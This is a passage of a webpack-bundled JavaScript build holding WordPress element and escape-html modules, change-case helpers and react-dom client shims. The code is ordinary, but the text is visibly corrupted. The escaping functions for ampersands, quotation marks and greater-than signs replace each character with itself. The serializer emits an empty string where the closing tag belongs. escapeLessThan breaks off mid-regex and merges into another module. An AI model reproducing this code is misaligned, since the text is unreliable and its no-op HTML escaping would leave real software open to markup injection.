objectToCheck The object to be checked. * * @return {boolean} true if objectToTest is a valid React Element and false otherwise. */ /** * @see https://reactjs.org/docs/react-api.html#reactmemo */ /** * Component that activates additional checks and warnings for its descendants. */ /** * @see https://reactjs.org/docs/hooks-reference.html#usecallback */ /** * @see https://reactjs.org/docs/hooks-reference.html#usecontext */ /** * @see https://reactjs.org/docs/hooks-reference.html#usedebugvalue */ /** * @see https://reactjs.org/docs/hooks-reference.html#usedeferredvalue */ /** * @see https://reactjs.org/docs/hooks-reference.html#useeffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#useid */ /** * @see https://reactjs.org/docs/hooks-reference.html#useimperativehandle */ /** * @see https://reactjs.org/docs/hooks-reference.html#useinsertioneffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#uselayouteffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#usememo */ /** * @see https://reactjs.org/docs/hooks-reference.html#usereducer */ /** * @see https://reactjs.org/docs/hooks-reference.html#useref */ /** * @see https://reactjs.org/docs/hooks-reference.html#usestate */ /** * @see https://reactjs.org/docs/hooks-reference.html#usesyncexternalstore */ /** * @see https://reactjs.org/docs/hooks-reference.html#usetransition */ /** * @see https://reactjs.org/docs/react-api.html#starttransition */ /** * @see https://reactjs.org/docs/react-api.html#reactlazy */ /** * @see https://reactjs.org/docs/react-api.html#reactsuspense */ /** * @see https://reactjs.org/docs/react-api.html#reactpurecomponent */ /** * Concatenate two or more React children objects. * * @param {...?Object} childrenArguments Array of children arguments (array of arrays/strings/objects) to concatenate. * * @return {Array} The concatenated value. */ function concatChildren(...childrenArguments) { return childrenArguments.reduce((accumulator, children, i) => { react__WEBPACK_IMPORTED_MODULE_0__.Children.forEach(children, (child, j) => { if (child && 'string' !== typeof child) { child = (0,react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(child, { key: [i, j].join() }); } accumulator.push(child); }); return accumulator; }, []); } /** * Switches the nodeName of all the elements in the children object. * * @param {?Object} children Children object. * @param {string} nodeName Node name. * * @return {?Object} The updated children object. */ function switchChildrenNodeName(children, nodeName) { return children && react__WEBPACK_IMPORTED_MODULE_0__.Children.map(children, (elt, index) => { if (typeof elt?.valueOf() === 'string') { return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(nodeName, { key: index }, elt); } const { children: childrenProp, ...props } = elt.props; return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(nodeName, { key: index, ...props }, childrenProp); }); } //# sourceMappingURL=react.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/serialize.js": /*!********************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/serialize.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__), /* harmony export */ hasPrefix: () => (/* binding */ hasPrefix), /* harmony export */ renderAttributes: () => (/* binding */ renderAttributes), /* harmony export */ renderComponent: () => (/* binding */ renderComponent), /* harmony export */ renderElement: () => (/* binding */ renderElement), /* harmony export */ renderNativeComponent: () => (/* binding */ renderNativeComponent), /* harmony export */ renderStyle: () => (/* binding */ renderStyle) /* harmony export */ }); /* harmony import */ var is_plain_object__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! is-plain-object */ "../node_modules/is-plain-object/dist/is-plain-object.mjs"); /* harmony import */ var change_case__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! change-case */ "../node_modules/param-case/dist.es2015/index.js"); /* harmony import */ var _wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/escape-html */ "../node_modules/@wordpress/escape-html/build-module/index.js"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_1__); /* harmony import */ var _raw_html__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./raw-html */ "../node_modules/@wordpress/element/build-module/raw-html.js"); /** * Parts of this source were derived and modified from fast-react-render, * released under the MIT license. * * https://github.com/alt-j/fast-react-render * * Copyright (c) 2016 Andrey Morozov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('react').ReactElement} ReactElement */ const { Provider, Consumer } = (0,_react__WEBPACK_IMPORTED_MODULE_1__.createContext)(undefined); const ForwardRef = (0,_react__WEBPACK_IMPORTED_MODULE_1__.forwardRef)(() => { return null; }); /** * Valid attribute types. * * @type {Set} */ const ATTRIBUTES_TYPES = new Set(['string', 'boolean', 'number']); /** * Element tags which can be self-closing. * * @type {Set} */ const SELF_CLOSING_TAGS = new Set(['area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr']); /** * Boolean attributes are attributes whose presence as being assigned is * meaningful, even if only empty. * * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#boolean-attributes * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3 * * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ] * .filter( ( tr ) => tr.lastChild.textContent.indexOf( 'Boolean attribute' ) !== -1 ) * .reduce( ( result, tr ) => Object.assign( result, { * [ tr.firstChild.textContent.trim() ]: true * } ), {} ) ).sort(); * * @type {Set} */ const BOOLEAN_ATTRIBUTES = new Set(['allowfullscreen', 'allowpaymentrequest', 'allowusermedia', 'async', 'autofocus', 'autoplay', 'checked', 'controls', 'default', 'defer', 'disabled', 'download', 'formnovalidate', 'hidden', 'ismap', 'itemscope', 'loop', 'multiple', 'muted', 'nomodule', 'novalidate', 'open', 'playsinline', 'readonly', 'required', 'reversed', 'selected', 'typemustmatch']); /** * Enumerated attributes are attributes which must be of a specific value form. * Like boolean attributes, these are meaningful if specified, even if not of a * valid enumerated value. * * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#enumerated-attribute * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3 * * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ] * .filter( ( tr ) => /^("(.+?)";?\s*)+/.test( tr.lastChild.textContent.trim() ) ) * .reduce( ( result, tr ) => Object.assign( result, { * [ tr.firstChild.textContent.trim() ]: true * } ), {} ) ).sort(); * * Some notable omissions: * * - `alt`: https://blog.whatwg.org/omit-alt * * @type {Set} */ const ENUMERATED_ATTRIBUTES = new Set(['autocapitalize', 'autocomplete', 'charset', 'contenteditable', 'crossorigin', 'decoding', 'dir', 'draggable', 'enctype', 'formenctype', 'formmethod', 'http-equiv', 'inputmode', 'kind', 'method', 'preload', 'scope', 'shape', 'spellcheck', 'translate', 'type', 'wrap']); /** * Set of CSS style properties which support assignment of unitless numbers. * Used in rendering of style properties, where `px` unit is assumed unless * property is included in this set or value is zero. * * Generated via: * * Object.entries( document.createElement( 'div' ).style ) * .filter( ( [ key ] ) => ( * ! /^(webkit|ms|moz)/.test( key ) && * ( e.style[ key ] = 10 ) && * e.style[ key ] === '10' * ) ) * .map( ( [ key ] ) => key ) * .sort(); * * @type {Set} */ const CSS_PROPERTIES_SUPPORTS_UNITLESS = new Set(['animation', 'animationIterationCount', 'baselineShift', 'borderImageOutset', 'borderImageSlice', 'borderImageWidth', 'columnCount', 'cx', 'cy', 'fillOpacity', 'flexGrow', 'flexShrink', 'floodOpacity', 'fontWeight', 'gridColumnEnd', 'gridColumnStart', 'gridRowEnd', 'gridRowStart', 'lineHeight', 'opacity', 'order', 'orphans', 'r', 'rx', 'ry', 'shapeImageThreshold', 'stopOpacity', 'strokeDasharray', 'strokeDashoffset', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'tabSize', 'widows', 'x', 'y', 'zIndex', 'zoom']); /** * Returns true if the specified string is prefixed by one of an array of * possible prefixes. * * @param {string} string String to check. * @param {string[]} prefixes Possible prefixes. * * @return {boolean} Whether string has prefix. */ function hasPrefix(string, prefixes) { return prefixes.some(prefix => string.indexOf(prefix) === 0); } /** * Returns true if the given prop name should be ignored in attributes * serialization, or false otherwise. * * @param {string} attribute Attribute to check. * * @return {boolean} Whether attribute should be ignored. */ function isInternalAttribute(attribute) { return 'key' === attribute || 'children' === attribute; } /** * Returns the normal form of the element's attribute value for HTML. * * @param {string} attribute Attribute name. * @param {*} value Non-normalized attribute value. * * @return {*} Normalized attribute value. */ function getNormalAttributeValue(attribute, value) { switch (attribute) { case 'style': return renderStyle(value); } return value; } /** * This is a map of all SVG attributes that have dashes. Map(lower case prop => dashed lower case attribute). * We need this to render e.g strokeWidth as stroke-width. * * List from: https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute. */ const SVG_ATTRIBUTE_WITH_DASHES_LIST = ['accentHeight', 'alignmentBaseline', 'arabicForm', 'baselineShift', 'capHeight', 'clipPath', 'clipRule', 'colorInterpolation', 'colorInterpolationFilters', 'colorProfile', 'colorRendering', 'dominantBaseline', 'enableBackground', 'fillOpacity', 'fillRule', 'floodColor', 'floodOpacity', 'fontFamily', 'fontSize', 'fontSizeAdjust', 'fontStretch', 'fontStyle', 'fontVariant', 'fontWeight', 'glyphName', 'glyphOrientationHorizontal', 'glyphOrientationVertical', 'horizAdvX', 'horizOriginX', 'imageRendering', 'letterSpacing', 'lightingColor', 'markerEnd', 'markerMid', 'markerStart', 'overlinePosition', 'overlineThickness', 'paintOrder', 'panose1', 'pointerEvents', 'renderingIntent', 'shapeRendering', 'stopColor', 'stopOpacity', 'strikethroughPosition', 'strikethroughThickness', 'strokeDasharray', 'strokeDashoffset', 'strokeLinecap', 'strokeLinejoin', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'textAnchor', 'textDecoration', 'textRendering', 'underlinePosition', 'underlineThickness', 'unicodeBidi', 'unicodeRange', 'unitsPerEm', 'vAlphabetic', 'vHanging', 'vIdeographic', 'vMathematical', 'vectorEffect', 'vertAdvY', 'vertOriginX', 'vertOriginY', 'wordSpacing', 'writingMode', 'xmlnsXlink', 'xHeight'].reduce((map, attribute) => { // The keys are lower-cased for more robust lookup. map[attribute.toLowerCase()] = attribute; return map; }, {}); /** * This is a map of all case-sensitive SVG attributes. Map(lowercase key => proper case attribute). * The keys are lower-cased for more robust lookup. * Note that this list only contains attributes that contain at least one capital letter. * Lowercase attributes don't need mapping, since we lowercase all attributes by default. */ const CASE_SENSITIVE_SVG_ATTRIBUTES = ['allowReorder', 'attributeName', 'attributeType', 'autoReverse', 'baseFrequency', 'baseProfile', 'calcMode', 'clipPathUnits', 'contentScriptType', 'contentStyleType', 'diffuseConstant', 'edgeMode', 'externalResourcesRequired', 'filterRes', 'filterUnits', 'glyphRef', 'gradientTransform', 'gradientUnits', 'kernelMatrix', 'kernelUnitLength', 'keyPoints', 'keySplines', 'keyTimes', 'lengthAdjust', 'limitingConeAngle', 'markerHeight', 'markerUnits', 'markerWidth', 'maskContentUnits', 'maskUnits', 'numOctaves', 'pathLength', 'patternContentUnits', 'patternTransform', 'patternUnits', 'pointsAtX', 'pointsAtY', 'pointsAtZ', 'preserveAlpha', 'preserveAspectRatio', 'primitiveUnits', 'refX', 'refY', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'specularConstant', 'specularExponent', 'spreadMethod', 'startOffset', 'stdDeviation', 'stitchTiles', 'suppressContentEditableWarning', 'suppressHydrationWarning', 'surfaceScale', 'systemLanguage', 'tableValues', 'targetX', 'targetY', 'textLength', 'viewBox', 'viewTarget', 'xChannelSelector', 'yChannelSelector'].reduce((map, attribute) => { // The keys are lower-cased for more robust lookup. map[attribute.toLowerCase()] = attribute; return map; }, {}); /** * This is a map of all SVG attributes that have colons. * Keys are lower-cased and stripped of their colons for more robust lookup. */ const SVG_ATTRIBUTES_WITH_COLONS = ['xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'xmlns:xlink'].reduce((map, attribute) => { map[attribute.replace(':', '').toLowerCase()] = attribute; return map; }, {}); /** * Returns the normal form of the element's attribute name for HTML. * * @param {string} attribute Non-normalized attribute name. * * @return {string} Normalized attribute name. */ function getNormalAttributeName(attribute) { switch (attribute) { case 'htmlFor': return 'for'; case 'className': return 'class'; } const attributeLowerCase = attribute.toLowerCase(); if (CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]) { return CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]; } else if (SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]) { return (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]); } else if (SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]) { return SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]; } return attributeLowerCase; } /** * Returns the normal form of the style property name for HTML. * * - Converts property names to kebab-case, e.g. 'backgroundColor' → 'background-color' * - Leaves custom attributes alone, e.g. '--myBackgroundColor' → '--myBackgroundColor' * - Converts vendor-prefixed property names to -kebab-case, e.g. 'MozTransform' → '-moz-transform' * * @param {string} property Property name. * * @return {string} Normalized property name. */ function getNormalStylePropertyName(property) { if (property.startsWith('--')) { return property; } if (hasPrefix(property, ['ms', 'O', 'Moz', 'Webkit'])) { return '-' + (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(property); } return (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(property); } /** * Returns the normal form of the style property value for HTML. Appends a * default pixel unit if numeric, not a unitless property, and not zero. * * @param {string} property Property name. * @param {*} value Non-normalized property value. * * @return {*} Normalized property value. */ function getNormalStylePropertyValue(property, value) { if (typeof value === 'number' && 0 !== value && !CSS_PROPERTIES_SUPPORTS_UNITLESS.has(property)) { return value + 'px'; } return value; } /** * Serializes a React element to string. * * @param {import('react').ReactNode} element Element to serialize. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element. */ function renderElement(element, context, legacyContext = {}) { if (null === element || undefined === element || false === element) { return ''; } if (Array.isArray(element)) { return renderChildren(element, context, legacyContext); } switch (typeof element) { case 'string': return (0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.escapeHTML)(element); case 'number': return element.toString(); } const { type, props } = /** @type {{type?: any, props?: any}} */ element; switch (type) { case _react__WEBPACK_IMPORTED_MODULE_1__.StrictMode: case _react__WEBPACK_IMPORTED_MODULE_1__.Fragment: return renderChildren(props.children, context, legacyContext); case _raw_html__WEBPACK_IMPORTED_MODULE_4__["default"]: const { children, ...wrapperProps } = props; return renderNativeComponent(!Object.keys(wrapperProps).length ? null : 'div', { ...wrapperProps, dangerouslySetInnerHTML: { __html: children } }, context, legacyContext); } switch (typeof type) { case 'string': return renderNativeComponent(type, props, context, legacyContext); case 'function': if (type.prototype && typeof type.prototype.render === 'function') { return renderComponent(type, props, context, legacyContext); } return renderElement(type(props, legacyContext), context, legacyContext); } switch (type && type.$$typeof) { case Provider.$$typeof: return renderChildren(props.children, props.value, legacyContext); case Consumer.$$typeof: return renderElement(props.children(context || type._currentValue), context, legacyContext); case ForwardRef.$$typeof: return renderElement(type.render(props), context, legacyContext); } return ''; } /** * Serializes a native component type to string. * * @param {?string} type Native component type to serialize, or null if * rendering as fragment of children content. * @param {Object} props Props object. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element. */ function renderNativeComponent(type, props, context, legacyContext = {}) { let content = ''; if (type === 'textarea' && props.hasOwnProperty('value')) { // Textarea children can be assigned as value prop. If it is, render in // place of children. Ensure to omit so it is not assigned as attribute // as well. content = renderChildren(props.value, context, legacyContext); const { value, ...restProps } = props; props = restProps; } else if (props.dangerouslySetInnerHTML && typeof props.dangerouslySetInnerHTML.__html === 'string') { // Dangerous content is left unescaped. content = props.dangerouslySetInnerHTML.__html; } else if (typeof props.children !== 'undefined') { content = renderChildren(props.children, context, legacyContext); } if (!type) { return content; } const attributes = renderAttributes(props); if (SELF_CLOSING_TAGS.has(type)) { return '<' + type + attributes + '/>'; } return '<' + type + attributes + '>' + content + ''; } /** @typedef {import('react').ComponentType} ComponentType */ /** * Serializes a non-native component type to string. * * @param {ComponentType} Component Component type to serialize. * @param {Object} props Props object. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element */ function renderComponent(Component, props, context, legacyContext = {}) { const instance = new ( /** @type {import('react').ComponentClass} */ Component)(props, legacyContext); if (typeof // Ignore reason: Current prettier reformats parens and mangles type assertion // prettier-ignore /** @type {{getChildContext?: () => unknown}} */ instance.getChildContext === 'function') { Object.assign(legacyContext, /** @type {{getChildContext?: () => unknown}} */instance.getChildContext()); } const html = renderElement(instance.render(), context, legacyContext); return html; } /** * Serializes an array of children to string. * * @param {import('react').ReactNodeArray} children Children to serialize. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized children. */ function renderChildren(children, context, legacyContext = {}) { let result = ''; children = Array.isArray(children) ? children : [children]; for (let i = 0; i < children.length; i++) { const child = children[i]; result += renderElement(child, context, legacyContext); } return result; } /** * Renders a props object as a string of HTML attributes. * * @param {Object} props Props object. * * @return {string} Attributes string. */ function renderAttributes(props) { let result = ''; for (const key in props) { const attribute = getNormalAttributeName(key); if (!(0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.isValidAttributeName)(attribute)) { continue; } let value = getNormalAttributeValue(key, props[key]); // If value is not of serializable type, skip. if (!ATTRIBUTES_TYPES.has(typeof value)) { continue; } // Don't render internal attribute names. if (isInternalAttribute(key)) { continue; } const isBooleanAttribute = BOOLEAN_ATTRIBUTES.has(attribute); // Boolean attribute should be omitted outright if its value is false. if (isBooleanAttribute && value === false) { continue; } const isMeaningfulAttribute = isBooleanAttribute || hasPrefix(key, ['data-', 'aria-']) || ENUMERATED_ATTRIBUTES.has(attribute); // Only write boolean value as attribute if meaningful. if (typeof value === 'boolean' && !isMeaningfulAttribute) { continue; } result += ' ' + attribute; // Boolean attributes should write attribute name, but without value. // Mere presence of attribute name is effective truthiness. if (isBooleanAttribute) { continue; } if (typeof value === 'string') { value = (0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.escapeAttribute)(value); } result += '="' + value + '"'; } return result; } /** * Renders a style object as a string attribute value. * * @param {Object} style Style object. * * @return {string} Style attribute value. */ function renderStyle(style) { // Only generate from object, e.g. tolerate string value. if (!(0,is_plain_object__WEBPACK_IMPORTED_MODULE_0__.isPlainObject)(style)) { return style; } let result; for (const property in style) { const value = style[property]; if (null === value || undefined === value) { continue; } if (result) { result += ';'; } else { result = ''; } const normalName = getNormalStylePropertyName(property); const normalValue = getNormalStylePropertyValue(property, value); result += normalName + ':' + normalValue; } return result; } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (renderElement); //# sourceMappingURL=serialize.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/utils.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/utils.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ isEmptyElement: () => (/* binding */ isEmptyElement) /* harmony export */ }); /** * Checks if the provided WP element is empty. * * @param {*} element WP element to check. * @return {boolean} True when an element is considered empty. */ const isEmptyElement = element => { if (typeof element === 'number') { return false; } if (typeof element?.valueOf() === 'string' || Array.isArray(element)) { return !element.length; } return !element; }; //# sourceMappingURL=utils.js.map /***/ }), /***/ "../node_modules/@wordpress/escape-html/build-module/escape-greater.js": /*!*****************************************************************************!*\ !*** ../node_modules/@wordpress/escape-html/build-module/escape-greater.js ***! \*****************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ __unstableEscapeGreaterThan) /* harmony export */ }); /** * Returns a string with greater-than sign replaced. * * Note that if a resolution for Trac#45387 comes to fruition, it is no longer * necessary for `__unstableEscapeGreaterThan` to exist. * * See: https://core.trac.wordpress.org/ticket/45387 * * @param {string} value Original string. * * @return {string} Escaped string. */ function __unstableEscapeGreaterThan(value) { return value.replace(/>/g, '>'); } //# sourceMappingURL=escape-greater.js.map /***/ }), /***/ "../node_modules/@wordpress/escape-html/build-module/index.js": /*!********************************************************************!*\ !*** ../node_modules/@wordpress/escape-html/build-module/index.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ escapeAmpersand: () => (/* binding */ escapeAmpersand), /* harmony export */ escapeAttribute: () => (/* binding */ escapeAttribute), /* harmony export */ escapeEditableHTML: () => (/* binding */ escapeEditableHTML), /* harmony export */ escapeHTML: () => (/* binding */ escapeHTML), /* harmony export */ escapeLessThan: () => (/* binding */ escapeLessThan), /* harmony export */ escapeQuotationMark: () => (/* binding */ escapeQuotationMark), /* harmony export */ isValidAttributeName: () => (/* binding */ isValidAttributeName) /* harmony export */ }); /* harmony import */ var _escape_greater__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./escape-greater */ "../node_modules/@wordpress/escape-html/build-module/escape-greater.js"); /** * Internal dependencies */ /** * Regular expression matching invalid attribute names. * * "Attribute names must consist of one or more characters other than controls, * U+0020 SPACE, U+0022 ("), U+0027 ('), U+003E (>), U+002F (/), U+003D (=), * and noncharacters." * * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 * * @type {RegExp} */ const REGEXP_INVALID_ATTRIBUTE_NAME = /[\u007F-\u009F "'>/="\uFDD0-\uFDEF]/; /** * Returns a string with ampersands escaped. Note that this is an imperfect * implementation, where only ampersands which do not appear as a pattern of * named, decimal, or hexadecimal character references are escaped. Invalid * named references (i.e. ambiguous ampersand) are still permitted. * * @see https://w3c.github.io/html/syntax.html#character-references * @see https://w3c.github.io/html/syntax.html#ambiguous-ampersand * @see https://w3c.github.io/html/syntax.html#named-character-references * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeAmpersand(value) { return value.replace(/&(?!([a-z0-9]+|#[0-9]+|#x[a-f0-9]+);)/gi, '&'); } /** * Returns a string with quotation marks replaced. * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeQuotationMark(value) { return value.replace(/"/g, '"'); } /** * Returns a string with less-than sign replaced. * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeLessThan(value) { return value.replace(/ { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ dotCase: () => (/* binding */ dotCase) /* harmony export */ }); /* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! tslib */ "../node_modules/tslib/tslib.es6.mjs"); /* harmony import */ var no_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! no-case */ "../node_modules/no-case/dist.es2015/index.js"); function dotCase(input, options) { if (options === void 0) { options = {}; } return (0,no_case__WEBPACK_IMPORTED_MODULE_0__.noCase)(input, (0,tslib__WEBPACK_IMPORTED_MODULE_1__.__assign)({ delimiter: "." }, options)); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/lower-case/dist.es2015/index.js": /*!*******************************************************!*\ !*** ../node_modules/lower-case/dist.es2015/index.js ***! \*******************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ localeLowerCase: () => (/* binding */ localeLowerCase), /* harmony export */ lowerCase: () => (/* binding */ lowerCase) /* harmony export */ }); /** * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt */ var SUPPORTED_LOCALE = { tr: { regexp: /\u0130|\u0049|\u0049\u0307/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, az: { regexp: /\u0130/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, lt: { regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g, map: { I: "\u0069\u0307", J: "\u006A\u0307", Į: "\u012F\u0307", Ì: "\u0069\u0307\u0300", Í: "\u0069\u0307\u0301", Ĩ: "\u0069\u0307\u0303", }, }, }; /** * Localized lower case. */ function localeLowerCase(str, locale) { var lang = SUPPORTED_LOCALE[locale.toLowerCase()]; if (lang) return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; })); return lowerCase(str); } /** * Lower case as a function. */ function lowerCase(str) { return str.toLowerCase(); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/no-case/dist.es2015/index.js": /*!****************************************************!*\ !*** ../node_modules/no-case/dist.es2015/index.js ***! \****************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ noCase: () => (/* binding */ noCase) /* harmony export */ }); /* harmony import */ var lower_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! lower-case */ "../node_modules/lower-case/dist.es2015/index.js"); // Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case"). var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g]; // Remove all non-word characters. var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi; /** * Normalize the string into something other libraries can manipulate easier. */ function noCase(input, options) { if (options === void 0) { options = {}; } var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lower_case__WEBPACK_IMPORTED_MODULE_0__.lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d; var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0"); var start = 0; var end = result.length; // Trim the delimiter from around the output string. while (result.charAt(start) === "\0") start++; while (result.charAt(end - 1) === "\0") end--; // Transform each token independently. return result.slice(start, end).split("\0").map(transform).join(delimiter); } /** * Replace `re` in the input string with the replacement value. */ function replace(input, re, value) { if (re instanceof RegExp) return input.replace(re, value); return re.reduce(function (input, re) { return input.replace(re, value); }, input); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/param-case/dist.es2015/index.js": /*!*******************************************************!*\ !*** ../node_modules/param-case/dist.es2015/index.js ***! \*******************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ paramCase: () => (/* binding */ paramCase) /* harmony export */ }); /* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! tslib */ "../node_modules/tslib/tslib.es6.mjs"); /* harmony import */ var dot_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! dot-case */ "../node_modules/dot-case/dist.es2015/index.js"); function paramCase(input, options) { if (options === void 0) { options = {}; } return (0,dot_case__WEBPACK_IMPORTED_MODULE_0__.dotCase)(input, (0,tslib__WEBPACK_IMPORTED_MODULE_1__.__assign)({ delimiter: "-" }, options)); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/react-dom/client.js": /*!*******************************************!*\ !*** ../node_modules/react-dom/client.js ***! \*******************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var m = __webpack_require__(/*! react-dom */ "react-dom"); if (false) {} else { var i = m.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED; exports.createRoot = function(c, o) { i.usingClientEntryPoint = true; try { return m.createRoot(c, o); } finally { i.usingClientEntryPoint = false; } }; exports.hydrateRoot = function(c, h, o) { i.usingClientEntryPoint = true; try { return m.hydrateRoot(c, h, o); } finally { i.usingClientEntryPoint = false; } }; } /***/ }), /***/ "react": /*!************************!*\ !*** external "React" ***! \************************/ /***/ ((module) => { "use strict"; module.exports = React; /***/ }), /***/ "react-dom": /*!***************************!*\ !*** external "ReactDOM" ***! \***************************/ /***/ ((module) => { "use strict"; module.exports = 